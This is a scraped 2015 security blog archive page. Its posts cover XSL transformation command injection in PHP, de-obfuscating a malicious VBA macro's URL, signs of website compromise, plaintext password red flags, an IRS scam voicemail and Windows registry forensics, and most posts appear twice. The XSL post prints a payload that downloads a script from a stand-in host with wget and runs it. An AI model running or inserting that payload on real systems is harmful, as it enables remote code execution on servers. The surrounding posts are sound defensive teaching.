if c1 is a large varchar
overwrite c1 with my hyperlink
*********************
If you want to learn more about SQL Injection check owasp. If you want an example of a tool to prevent SQL Injection in Microsoft .NET code try the WPL (Web Protection Library).
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Labels:
aspx,
botnet,
Microsoft SQL Server,
PageRank Botnet,
SQL,
SQL Injection,
SQLi
Tuesday, November 10, 2015
Digging Deeper on xsl payload @e3xpl0it #XXE #RCE
I saw this tweet by @e3xpl0it about Remote Code Execution in XSL (EXtensible Stylesheet Language) Transformations.
It contained as example of an XSL file that was running a php system command.
I wanted to see if I could recreate this scenario. I setup apache, I got php5-xsl installed. Then I created a sample test page like the code here.
Except I changed this line
<xsl:value-of select="php:function('ucfirst',string(uid))"/>
to something more evil like this
<xsl:value-of select="php::function('shell_exec', 'wget -O /tmp/bad.sh http://badsite.com/bad.sh; chmod 755 /tmp/bad.sh; ./bad.sh')"/>
Seemed to work! Uh-Oh, looks like OS Command injection might be possible. How? What if the code was dependent on user input? Perhaps the xsl is remotely loaded? Perhaps the setParameter sanitization is inadequate and a query string parameter could be used like this? I'm sure there are multiple ways to exploit.
$proc->setParameter('', 'queryValue', $_GET['queryId']);
...
<xsl:param name="queryValue"/>
...
<xsl:value-of select="$queryValue"/>
...
Now the bad guy is going to control your unsanitized user input by jamming some php function payloads into your queryValue and you can now say bye-bye to your server. It's owned.
Seems like it's worth your time to take a look at any XSL Transformations you're doing in php and make sure you're not trusting any user input.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
It contained as example of an XSL file that was running a php system command.
I wanted to see if I could recreate this scenario. I setup apache, I got php5-xsl installed. Then I created a sample test page like the code here.
Except I changed this line
<xsl:value-of select="php:function('ucfirst',string(uid))"/>
to something more evil like this
<xsl:value-of select="php::function('shell_exec', 'wget -O /tmp/bad.sh http://badsite.com/bad.sh; chmod 755 /tmp/bad.sh; ./bad.sh')"/>
Seemed to work! Uh-Oh, looks like OS Command injection might be possible. How? What if the code was dependent on user input? Perhaps the xsl is remotely loaded? Perhaps the setParameter sanitization is inadequate and a query string parameter could be used like this? I'm sure there are multiple ways to exploit.
$proc->setParameter('', 'queryValue', $_GET['queryId']);
...
<xsl:param name="queryValue"/>
...
<xsl:value-of select="$queryValue"/>
...
Now the bad guy is going to control your unsanitized user input by jamming some php function payloads into your queryValue and you can now say bye-bye to your server. It's owned.
Seems like it's worth your time to take a look at any XSL Transformations you're doing in php and make sure you're not trusting any user input.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Labels:
OS Command Injection,
PHP,
PHP5-XSL,
RCE,
XSL,
XSLT,
XSLTProcessor,
XXE
De-Obfuscate URL from Evil VBA Macro
Here's a quick run-down of how I manually de-Obfuscated a URL from Evil VBA Macro.
First I was looking at this evil VBA Macro, but it's obfuscated and difficult to determine what it's doing. After crawling the VBA for a bit I noticed this line
Set jsonParseString = CreateObject(M_Zorro + "icrosoft" + dot_hero + "XMLHTTP")
Which looks like it's trying to create an Activex object to browse a url. A bit later I see this code.
jsonParseString.Open "G" + UCase(e_loadman) + "T", Redistribute(solov, 35), False
jsonParseString.Send
Which looks like they're going to Send a "GET" request with that XMLHTTP object to a website. Notice though the URL is obfuscated, it's just a function call Redistribute(solov, 35). So I look a little higher and see that 'solov' is an array of integers (probably representing characters in the url).
solov = Array(4828, 4840, 4840, 4836, 4782, 4771, 4771, 4833, 4827, 4833, 4829, 4834, 4827, 4770, 4838, 4839, 4771, 4780, 4779, 4845, 4840, 4825, 4777, 4777, 4771, 4778, 4840, 4776, 4777, 4825, 4845, 4842, 4770, 4825, 4844, 4825)
And then I see Redistribute is a function that likely converts those integers to the actual url.
Public Function Redistribute(Z() As Variant, oldLen As Integer) As String
Dim n As Integer
For n = LBound(Z) To UBound(Z)
Redistribute = Redistribute & Chr(Z(n) - 8 * oldLen - 4444)
Next n
End Function
Now I'm lazy, and I don't want to read or understand the evil code. I just want to "safely" run it. So I rip out only the necessary code. Rename a few variables so it makes more sense to me. Add a MsgBox to the end of the code. Drop it into an empty Microsoft Word document's Document_Open routine, and boom, I have my url.
Dim oldLen As Integer
oldLen = 35
Dim decodeURLFunction As String
Dim encodedUrl() As Variant
encodedUrl = Array(4828, 4840, 4840, 4836, 4782, 4771, 4771, 4833, 4827, 4833, 4829, 4834, 4827, 4770, 4838, 4839, 4771, 4780, 4779, 4845, 4840, 4825, 4777, 4777, 4771, 4778, 4840, 4776, 4777, 4825, 4845, 4842, 4770, 4825, 4844, 4825)
Dim n As Integer
For n = LBound(encodedUrl) To UBound(encodedUrl)
decodeURLFunction = decodeURLFunction & Chr(encodedUrl(n) - 8 * oldLen - 4444)
Next n
MsgBox decodeURLFunction
Of course always do this in a lab, a safe environment. Make sure the code you cut & paste doesn't contain calls to the actual ActiveX objects because then evil things may happen on your lab box. Instead just ensure it's a bunch of string concatenation, character conversions, etc. and then add a safe MsgBox to pop up a message box with your info you wanted.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
First I was looking at this evil VBA Macro, but it's obfuscated and difficult to determine what it's doing. After crawling the VBA for a bit I noticed this line
Set jsonParseString = CreateObject(M_Zorro + "icrosoft" + dot_hero + "XMLHTTP")
Which looks like it's trying to create an Activex object to browse a url. A bit later I see this code.
jsonParseString.Open "G" + UCase(e_loadman) + "T", Redistribute(solov, 35), False
jsonParseString.Send
Which looks like they're going to Send a "GET" request with that XMLHTTP object to a website. Notice though the URL is obfuscated, it's just a function call Redistribute(solov, 35). So I look a little higher and see that 'solov' is an array of integers (probably representing characters in the url).
solov = Array(4828, 4840, 4840, 4836, 4782, 4771, 4771, 4833, 4827, 4833, 4829, 4834, 4827, 4770, 4838, 4839, 4771, 4780, 4779, 4845, 4840, 4825, 4777, 4777, 4771, 4778, 4840, 4776, 4777, 4825, 4845, 4842, 4770, 4825, 4844, 4825)
And then I see Redistribute is a function that likely converts those integers to the actual url.
Public Function Redistribute(Z() As Variant, oldLen As Integer) As String
Dim n As Integer
For n = LBound(Z) To UBound(Z)
Redistribute = Redistribute & Chr(Z(n) - 8 * oldLen - 4444)
Next n
End Function
Now I'm lazy, and I don't want to read or understand the evil code. I just want to "safely" run it. So I rip out only the necessary code. Rename a few variables so it makes more sense to me. Add a MsgBox to the end of the code. Drop it into an empty Microsoft Word document's Document_Open routine, and boom, I have my url.
Dim oldLen As Integer
oldLen = 35
Dim decodeURLFunction As String
Dim encodedUrl() As Variant
encodedUrl = Array(4828, 4840, 4840, 4836, 4782, 4771, 4771, 4833, 4827, 4833, 4829, 4834, 4827, 4770, 4838, 4839, 4771, 4780, 4779, 4845, 4840, 4825, 4777, 4777, 4771, 4778, 4840, 4776, 4777, 4825, 4845, 4842, 4770, 4825, 4844, 4825)
Dim n As Integer
For n = LBound(encodedUrl) To UBound(encodedUrl)
decodeURLFunction = decodeURLFunction & Chr(encodedUrl(n) - 8 * oldLen - 4444)
Next n
MsgBox decodeURLFunction
Of course always do this in a lab, a safe environment. Make sure the code you cut & paste doesn't contain calls to the actual ActiveX objects because then evil things may happen on your lab box. Instead just ensure it's a bunch of string concatenation, character conversions, etc. and then add a safe MsgBox to pop up a message box with your info you wanted.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, November 5, 2015
How a Web Developer could Identify a Compromised Website
I thought it'd be useful to list out some common things a Web Developer could look for that could indicate their site has been compromised by an attacker.
- Modified Logon Page (Why? Credentials are extremely valuable, so they may have tried to modify your code to save off every user's password)
- Odd File Extensions (Why? Your site may always run .jsp files but it may be easier for the attacker to do perform his evilness with .php)
- Multiple Copies of Files (Why? Attacker may modify a file but will 1st rename the original like login.php.bak so he can put it back later)
- New Database Tables (Why? Attacker may have used sql injection to dump data or log data he wanted)
- Database Errors with xp_cmdshell in it (Why? This is 1 way an attacker goes from sql injection to full Operating System compromise)
- Web Shells (Why? These are hidden pages that provide Remote Access for the attacker to do things like upload/download files or run commands) - Unexpected Connections (Why? Run a netstat command and look for connections to remote ips, could be the attackers reverse shell)
- Unexpected Logins (Why? Log who logged in, when, and from where. If you have off-hour logins from countries you don't support...)
- Event Logs Missing (Why? An attacker will cover his tracks & clear event logs. Make sure you log to a remote server so he can't clear them
- New Accounts (Why? An attacker will give himself multiple options to return, in case you disable one he'll just use the other) - Files that Trigger Anti-Virus (Why? Many times for performance reasons you have Anti-Virus set with exceptions for your web content folders. This means they don't actually get scanned. Thus copy those files out to a folder that will get scanned. Then watch. Anti-Virus is actually pretty good at picking up those common Web Shells that attackers setup).
You never want to be in that scenario. But if you are, hopefully some of the above tips can help you come to a conclusion quicker. And remember, if you find the bad things. Don't think you can clean them up. It's a mistake. An attacker doesn't just leave 1 backdoor, probably not even 2. They're going to drop a bunch of web shells, create a bunch of accounts, grab a bunch of passwords, and leave many windows open. Why do they do that? Well, they are anticipating you will eventually spot something and disable some accounts, delete some files, etc. but they're banking on the fact that you won't be able to find everything, and whichever one you miss they'll use to get right back in and drop a bunch more backdoors. When the bad things happen, revert back to a pristine copy such as a Fresh Server build and code directly from source control.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
- Modified Logon Page (Why? Credentials are extremely valuable, so they may have tried to modify your code to save off every user's password)
- Odd File Extensions (Why? Your site may always run .jsp files but it may be easier for the attacker to do perform his evilness with .php)
- Multiple Copies of Files (Why? Attacker may modify a file but will 1st rename the original like login.php.bak so he can put it back later)
- New Database Tables (Why? Attacker may have used sql injection to dump data or log data he wanted)
- Database Errors with xp_cmdshell in it (Why? This is 1 way an attacker goes from sql injection to full Operating System compromise)
- Web Shells (Why? These are hidden pages that provide Remote Access for the attacker to do things like upload/download files or run commands) - Unexpected Connections (Why? Run a netstat command and look for connections to remote ips, could be the attackers reverse shell)
- Unexpected Logins (Why? Log who logged in, when, and from where. If you have off-hour logins from countries you don't support...)
- Event Logs Missing (Why? An attacker will cover his tracks & clear event logs. Make sure you log to a remote server so he can't clear them
- New Accounts (Why? An attacker will give himself multiple options to return, in case you disable one he'll just use the other) - Files that Trigger Anti-Virus (Why? Many times for performance reasons you have Anti-Virus set with exceptions for your web content folders. This means they don't actually get scanned. Thus copy those files out to a folder that will get scanned. Then watch. Anti-Virus is actually pretty good at picking up those common Web Shells that attackers setup).
You never want to be in that scenario. But if you are, hopefully some of the above tips can help you come to a conclusion quicker. And remember, if you find the bad things. Don't think you can clean them up. It's a mistake. An attacker doesn't just leave 1 backdoor, probably not even 2. They're going to drop a bunch of web shells, create a bunch of accounts, grab a bunch of passwords, and leave many windows open. Why do they do that? Well, they are anticipating you will eventually spot something and disable some accounts, delete some files, etc. but they're banking on the fact that you won't be able to find everything, and whichever one you miss they'll use to get right back in and drop a bunch more backdoors. When the bad things happen, revert back to a pristine copy such as a Fresh Server build and code directly from source control.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Web Developers, You Can Help Prevent Password Dumps
A recent Arstechnica article told a story of 13 million plaintext passwords being dumped.. It stated
"...a code routine that placed a user's plaintext password in the resulting URL. That means the unobfuscated passwords were likely written to all kinds of administer logs...
This got me thinking of some red flags that you, as a web developer, should raise if you ever see happening. Some of these red flags could also apply to any regression tester, system administrator, or security analyst if they happened to come across it also. When I say "raise a red flag", I mean that you should open a bug ticket, report it to your Senior developer/Manager, or document it in your risk register. The things on this list are the exact type of things that could lead to your company being the next big breach in the news...
When to Raise a Red Flag
- If you see a plaintext password in a URL (Why? urls get logged everywhere)
- If you see a plaintext password in a hidden html field (Why? these aren't truly hidden)
- If you see a plaintext password in a Cookie (Why? cookies are stored locally unencrypted on the harddrive)
- If you see a plaintext password in the html of an unencrypted protocol like HTTP(Why? it can be sniffed and viewed in plaintext)
- If you see a plaintext password in your syslogs(Why? syslogs are generally sent in unencrypted udp packets)
- If you see a plaintext password in the Windows Events Viewer (Why? log files are not encrypted)
- If you see a plaintext password in any Database table, including log/error tables (Why? sql injection is your worst nightmare)
- If you see a plaintext password in a configuration or flat file (Why? if somebody opens it up, or a backup, they have the file)
- If you see a plaintext password in Source Control like TFS, Github, etc. (Why? developers shouldn't see passwords, just admins)
- If you see a plaintext password in scripts (bat files, powershell, python, etc.) (Why? whomever opens the script has the password)
- If you see a plaintext password in an Error or Application Log (Why? log files are not encrypted)
- If you see a plaintext password in an excel spreadsheet (Why? excel does not replace proper password management tools)
- If you see a plaintext password in a database procedure/function (Why? database code is not encrypted)
- If you see a plaintext password in your website code (Why? web code is not encrypted & is saved to source control)
Passwords, whether you like it or not, are critical to protecting your kingdom. Some of the scenarios listed above could lead to an attacker gaining access to customer passwords. Some of the scenarios listed above could lead to an attacker getting full administrative access to your systems and network. Apply least privilege. The only passwords developers should ever see are ones for their test environment. Developers should never have to know Production passwords. And passwords should never be stored in any location or unencrypted format where developers could even stumble across them. Thus if you are a web developer and you come across any of the scenarios above, don't take it lightly. Let somebody know, and work towards finding a method to mitigate the risk.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
"...a code routine that placed a user's plaintext password in the resulting URL. That means the unobfuscated passwords were likely written to all kinds of administer logs...
This got me thinking of some red flags that you, as a web developer, should raise if you ever see happening. Some of these red flags could also apply to any regression tester, system administrator, or security analyst if they happened to come across it also. When I say "raise a red flag", I mean that you should open a bug ticket, report it to your Senior developer/Manager, or document it in your risk register. The things on this list are the exact type of things that could lead to your company being the next big breach in the news...
When to Raise a Red Flag
- If you see a plaintext password in a URL (Why? urls get logged everywhere)
- If you see a plaintext password in a hidden html field (Why? these aren't truly hidden)
- If you see a plaintext password in a Cookie (Why? cookies are stored locally unencrypted on the harddrive)
- If you see a plaintext password in the html of an unencrypted protocol like HTTP(Why? it can be sniffed and viewed in plaintext)
- If you see a plaintext password in your syslogs(Why? syslogs are generally sent in unencrypted udp packets)
- If you see a plaintext password in the Windows Events Viewer (Why? log files are not encrypted)
- If you see a plaintext password in any Database table, including log/error tables (Why? sql injection is your worst nightmare)
- If you see a plaintext password in a configuration or flat file (Why? if somebody opens it up, or a backup, they have the file)
- If you see a plaintext password in Source Control like TFS, Github, etc. (Why? developers shouldn't see passwords, just admins)
- If you see a plaintext password in scripts (bat files, powershell, python, etc.) (Why? whomever opens the script has the password)
- If you see a plaintext password in an Error or Application Log (Why? log files are not encrypted)
- If you see a plaintext password in an excel spreadsheet (Why? excel does not replace proper password management tools)
- If you see a plaintext password in a database procedure/function (Why? database code is not encrypted)
- If you see a plaintext password in your website code (Why? web code is not encrypted & is saved to source control)
Passwords, whether you like it or not, are critical to protecting your kingdom. Some of the scenarios listed above could lead to an attacker gaining access to customer passwords. Some of the scenarios listed above could lead to an attacker getting full administrative access to your systems and network. Apply least privilege. The only passwords developers should ever see are ones for their test environment. Developers should never have to know Production passwords. And passwords should never be stored in any location or unencrypted format where developers could even stumble across them. Thus if you are a web developer and you come across any of the scenarios above, don't take it lightly. Let somebody know, and work towards finding a method to mitigate the risk.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, October 29, 2015
IRS Phone Scam
I received a voicemail that was interesting enough I thought I'd share regarding an IRS Scam. I didn't answer since I personally recommend, don't ever answer phone calls from non-local numbers, especially ones you weren't expecting and don't know. Let it go to voicemail, screen it, and then determine if it's worth calling back. It was a threatening message from the IRS saying that I'd been caught for Tax Evasion and I would get arrested if I didn't call back. The IRS has posted consumer alerts about scams like this and have several ways to report them. I have seen these before and can tell it's fake just by the accent and his demands to call now or get arrested. But some can be convincing, especially if you haven't received one before or aren't in tune with these type of scams. Enjoy and stay safe. Listen to the full audio of the voicemail. I posted the full transcript on pastebin.
*****
Source: +1 (202) 470-0933
Caller Id Location: DC, USA
Date: 10/27/2015
*****
FULL TRANSCRIPT
*****
We have received a legal position notice against you concerning a tax evasion. So before we file a case against you in the court house and before you get arrested kindly call us back on our callback number. The number to reach me that is 202-470-0933. I'll repeat its 2024700933. Don't disregard this message. Give it a call. Again this is officer Daniel Cruz from the Internal Revenue Service. Thank you and have a blessed day.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
*****
Source: +1 (202) 470-0933
Caller Id Location: DC, USA
Date: 10/27/2015
*****
FULL TRANSCRIPT
*****
We have received a legal position notice against you concerning a tax evasion. So before we file a case against you in the court house and before you get arrested kindly call us back on our callback number. The number to reach me that is 202-470-0933. I'll repeat its 2024700933. Don't disregard this message. Give it a call. Again this is officer Daniel Cruz from the Internal Revenue Service. Thank you and have a blessed day.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Labels:
Internal Revenue Service,
IRS,
Phone,
Scam,
Tax Evasion,
Voicemail
Tuesday, October 27, 2015
Registry Explorer\ComDlg3 Key
If you've ever looked through a memory dump and noticed the following registry key getting modified, here's my take on what it's doing.
Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg3
It appears each time a user opens a file or saves a file using the standard windows dialog box then it's recorded in this registry
For example I opened this registry
HKEY_USERS\C__Users_USERNAME_ntuser.dat\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRULegacy\0
And was able to read the following values
notepad++.exe Windows\temp
Which would seem to me to indicate that the user opened the c:\windows\temp folder with notepad++.exe
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg3
It appears each time a user opens a file or saves a file using the standard windows dialog box then it's recorded in this registry
For example I opened this registry
HKEY_USERS\C__Users_USERNAME_ntuser.dat\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRULegacy\0
And was able to read the following values
notepad++.exe Windows\temp
Which would seem to me to indicate that the user opened the c:\windows\temp folder with notepad++.exe
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Registry Terminal Server Client\Servers Key
If you've ever looked through a memory dump and noticed the following registry key getting modified, here's my take on what it's doing.
Software\Microsoft\Terminal Server Client\Servers
It appears each time a user used Remote Desktop to connect to another computer a registry entry is created in Terminal Server Client folder. For example, I opened the following registry key
HKEY_USERS\C__Users_USERNAME_ntuser.dat\Software\Microsoft\Terminal Server Client\Servers\SERVERXYZ\UsernameHint
And was able to read the following values
DOMAIN1\USER1
Which would seem to me to indicate that USER1 attempted to connect to SERVERXYZ thru domain DOMAIN1
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Software\Microsoft\Terminal Server Client\Servers
It appears each time a user used Remote Desktop to connect to another computer a registry entry is created in Terminal Server Client folder. For example, I opened the following registry key
HKEY_USERS\C__Users_USERNAME_ntuser.dat\Software\Microsoft\Terminal Server Client\Servers\SERVERXYZ\UsernameHint
And was able to read the following values
DOMAIN1\USER1
Which would seem to me to indicate that USER1 attempted to connect to SERVERXYZ thru domain DOMAIN1
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Registry Explorer\RecentDocuments Key
If you've ever looked through a memory dump and noticed the following registry key getting modified, here's my take on what it's doing.
Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocuments
It appears each time a file or folder is accessed in a Windows operating system, it records it in the RecentDocuments registry (which makes sense based on the name). For example, I opened the following registry key
HKEY_USERS\C__Users_USERNAME_ntuser.dat\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.docx\3
And was able to read the following values
PracticeExam.docx, PracticeExam.docx.lnk
Which would seem to me to indicate that a word document was recently accessed.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocuments
It appears each time a file or folder is accessed in a Windows operating system, it records it in the RecentDocuments registry (which makes sense based on the name). For example, I opened the following registry key
HKEY_USERS\C__Users_USERNAME_ntuser.dat\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.docx\3
And was able to read the following values
PracticeExam.docx, PracticeExam.docx.lnk
Which would seem to me to indicate that a word document was recently accessed.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Subscribe to:
Posts (Atom)